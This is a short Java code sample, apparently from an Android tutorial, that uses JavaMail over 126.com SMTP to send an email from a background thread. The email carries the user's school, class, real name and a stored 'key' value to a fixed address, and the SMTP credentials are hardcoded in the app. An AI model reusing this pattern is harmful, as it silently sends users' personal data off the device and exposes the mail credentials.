需要jar包:
mail.jar
additionnal.jar
activation.jar
public void sendEMail(final Context context) {
new Thread(new Runnable() {
@Override
public void run() {
UserInfoVo vo = UserInfoVo.getInstance(context);
try {
String userName = "邮箱@126.com";
String password = "密码";
String smtp_server = "smtp.126.com";
String from_mail_address = userName;
String to_mail_address = "发给谁@qq.com";
Authenticator auth = new PopupAuthenticator(userName,
password);
Properties mailProps = new Properties();
mailProps.put("mail.smtp.host", smtp_server);
mailProps.put("mail.smtp.auth", "true");
mailProps.put("username", userName);
mailProps.put("password", password);
Session mailSession = Session.getDefaultInstance(mailProps,
auth);
mailSession.setDebug(true);
MimeMessage message = new MimeMessage(mailSession);
message.setFrom(new InternetAddress(from_mail_address));
message.setRecipient(Message.RecipientType.TO,
new InternetAddress(to_mail_address));
message.setSubject("校通");
SharedPreferences sp = context.getSharedPreferences("user",
Context.MODE_PRIVATE);
MimeMultipart multi = new MimeMultipart();
BodyPart textBodyPart = new MimeBodyPart();
textBodyPart.setText("" + vo.getSchoolName() + "---"
+ vo.getClassName() + "--" + vo.getRealName()
+ "---" + sp.getString("key", ""));
multi.addBodyPart(textBodyPart);
message.setContent(multi);
message.saveChanges();
Transport.send(message);
} catch (Exception ex) {
System.err.println("邮件发送失败的原因是:" + ex.getMessage());
System.err.println("具体的错误原因");
ex.printStackTrace(System.err);
}
}
}).start();
}
// public static void main(String[] args) {
//
// }
}
class PopupAuthenticator extends Authenticator {
private String username;
private String password;
public PopupAuthenticator(String username, String pwd) {
this.username = username;
this.password = pwd;
}
public PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(this.username, this.password);
}